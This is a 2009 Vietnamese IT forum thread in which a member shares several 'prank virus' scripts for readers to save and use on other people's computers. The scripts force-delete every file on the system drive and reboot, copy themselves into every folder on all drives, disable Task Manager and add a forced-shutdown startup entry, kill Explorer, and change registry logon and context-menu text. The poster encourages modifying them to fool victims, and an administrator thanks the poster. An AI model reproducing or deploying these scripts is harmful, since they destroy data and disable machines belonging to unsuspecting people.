Windows Việt

Cộng Đồng Công Nghệ Thông Tin Việt

Trang ChínhTrang Chính  Sự kiện  Tìm kiếmTìm kiếm  Đăng kýĐăng ký  Đăng NhậpĐăng Nhập  

Share
 
 virus
Xem chủ đề cũ hơn Xem chủ đề mới hơn Go down 
Tác giảThông điệp
aaxxyy
Member

aaxxyy
Member
Giới tính : Nữ
Tuổi : 30
Posts Posts : 138
Coins Coins : 179
Thanked Thanked : 15
virus Empty
Bài gửiTiêu đề: virus   virus EmptyWed 12 Aug 2009, 20:01

nếu bạn là 1 người rãnh
ko có việc gì làm
lại thích chọc phá
thì đây 1 số con virus để các bác quậy chơi. Wink
mở notepad copy dòng lệnh và save lại dưới dạng .vbs

lưu ý: tất cả đều save lại dưới dạng .vbs. chỉ có con virus 3 là down về rùi xài luôn khỏi làm gì hết
virus 1:
tác dụng: xóa tất cả các file trog thư mục systemdriver và tắt máy

@ echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00

virus 2:
tác dụng: Nhân bản chính nó vào tất cả các thư mục của Windows, các thư
mục trong ổ C:\ D:\ và E:\ và cả các thư mục con của nó. Nói chung là ổ
cứng có bao nhiêu Folder thì con VR sẽ nhân bản lên bấy nhiêu lần và
sau đó cho vào 1 Folder 1 bản.

'Thuoc Doc !!!
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fso.OpenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:\")
FolderList("B:\")
FolderList("C:\")
FolderList("D:\")
FolderList("E:\")
FolderList("F:\")
FolderList("G:\")
FolderList("H:\")
FolderList("I:\")
FolderList("J:\")
FolderList("K:\")
FolderList("L:\")
FolderList("M:\")
FolderList("N:\")
FolderList("O:\")
FolderList("P:\")
FolderList("Q:\")
FolderList("R:\")
FolderList("S:\")
FolderList("T:\")
FolderList("U:\")
FolderList("V:\")
FolderList("X:\")
FolderList("Y:\")
FolderList("Z:\")
FolderList("W:\")

Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders
For Each f1 In sf
Set COP=fso.CreateTextFile(f1.path & "\ban da dinh virus ¶_F11 ! hay tat may ngay.vbs")
COP.write VBCopy
Set CAP=fso.CreateTextFile(f1.path & "---ban da dinh virus ¶_F11 ! hay tat may ngay.vbs")
CAP.write VBCopy
FolderList(f1.Path)
Next
End sub

save lại với tên: Thuoc_Doc.vbs
và đây là để xóa con virus này

'Thuoc Giai
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fso.OpenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:\")
FolderList("B:\")
FolderList("C:\")
FolderList("D:\")
FolderList("E:\")
FolderList("F:\")
FolderList("G:\")
FolderList("H:\")
FolderList("I:\")
FolderList("J:\")
FolderList("K:\")
FolderList("L:\")
FolderList("M:\")
FolderList("N:\")
FolderList("O:\")
FolderList("P:\")
FolderList("Q:\")
FolderList("R:\")
FolderList("S:\")
FolderList("T:\")
FolderList("U:\")
FolderList("V:\")
FolderList("X:\")
FolderList("Y:\")
FolderList("Z:\")
FolderList("W:\")

Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP,ATT
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders
For Each f1 In sf
'Set COP=fso.CreateTextFile(f1.path & "\ban da dinh virus ¶_F11 ! hay tat may ngay.vbs")
'COP.write VBCopy
'Set CAP=fso.CreateTextFile(f1.path & "---ban da dinh virus ¶_F11 ! hay tat may ngay.vbs")
'CAP.write VBCopy
'Set ATT=fso.GetFolder(f1.Path)
'ATT.Attributes=ATT.Attributes+2
fso.DeleteFile(f1.path & "\ban da dinh virus ¶_F11 ! hay tat may ngay.vbs")
fso.DeleteFile(f1.path & "---ban da dinh virus ¶_F11 ! hay tat may ngay.vbs")
FolderList(f1.Path)
Next
End sub

save lại với tên Thuoc_Giai.vbs


virus 3:
tác dụng: tắt explorer và tắt máy sau 5s

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr
entVersion\Run" /v shutdown /t REG_SZ /d "shutdown.exe -f -s -t 05" /f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\System" /v DisableTaskmgr /t REG_DWORD /d 1 /f
cls
copy thelove.bat "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\"
cls
taskkill /f /im explorer.exe
cls
shutdown.exe -f -s -t 05 -c ".....error...."
cls
@echo off
echo Warning!!!!!!!!May Tinh Cua Ban Da Bi Nhiem Virus Bat Diet !!!!!!!!!
echo GOOD BYE SEE YOU AGAIN
pause
del thelove.bat

các bạn có thể điều chỉnh thời gian tắt máy trong dòng "shutdown.exe -f -s -t 05 -c ".....error....""

số 05 đấy thấy ko. có thể thay đổi lại, tùy vào lòng nhân từ của bạn thôi!

virus 3:
tác dụng:kua gái ! hơi ngộ nhưng thật ra là vậy. khi victim click vào
nó sẽ hiện ra cái bảng và muốn biết nó ra sao về nhà test thử sẽ bik

link down

[You must be registered and logged in to see this link.]

virus 4:
tác dụng: hiển thị 1 dòng lệnh khi click vào file or folder

set reg=createobject("WScript.shell")
reg.regwrite "HKEY_CLASSES_ROOT\*\Shell\\","ban da bi ¶_F11 khong che! mau tat may"
reg.regwrite "HKEY_CLASSES_ROOT\folder\shell\ban da bi ¶_F11 khong che! mau tat may"

virus 5:
tác dụng: không cho khởi động máy

Dim wsh
Set wsh = createobject("wscript.shell")
wsh.run "RUNDLL32.EXE user.exe,exitwindows

virus 6
tác dụng:hiển thị 1 dòng lệnh mỗi khi khởi động máy

dim wsh
Set wsh = CreateObject( "WScript.Shell" )
s1 = "HKLM\Software\Microsoft\Windows\CurrentVersio n\Wi n Logon\"
s2 = "LegalNoticeCaption"
s3 = "LegalNoticeText"
wsh.RegWrite s1+s2, "¶_F11"
wsh.RegWrite s1+s3, "ban da bi virus khong che mau tat may neu ko se no"

lưu ý nhỏ: chỗ chữ "¶_F11", "ban da bi virus khong che mau tat may neu ko se no" có thể thay = từ khác. bất cứ từ nào bạn muốn

nếu các bạn có 1 chút ít kiến thức về bộ môn nghệ thuật này. có thể chỉnh sửa theo ý mình để ko bị nhầm lẫn với bất cứ ai.

ai biết con vius nào nữa post lên nha Wink Wink


If you fail to plan, you plan to fail

※ Bài viết cùng chuyên mục


Tác giảThông điệp
Administrator
Administrators

Administrator
 Administrators
Giới tính : Nam
Tuổi : 29
Posts Posts : 2804
Coins Coins : 5864
Thanked Thanked : 799
virus Empty
Bài gửiTiêu đề: Re: virus   virus EmptyWed 12 Aug 2009, 21:53

Hàng độc cheers Thanks cho 1 phát này!


[You must be registered and logged in to see this link.]

※ Bài viết cùng chuyên mục


https://windows.forumvi.com
 
virus
Xem chủ đề cũ hơn Xem chủ đề mới hơn Về Đầu Trang 
Trang 1 trong tổng số 1 trang

Permissions in this forum:Bạn không có quyền trả lời bài viết
Windows Việt :: Công Nghệ Thông Tin :: Kinh nghiệm - Thủ thuật-
[Windows Việt] Deverloped by Nguyễn Gia Phú - https://windows.forumvi.com
Powered by © Forumotion.com - phpBB™ version ©phpBB2
Go to top Go to bottom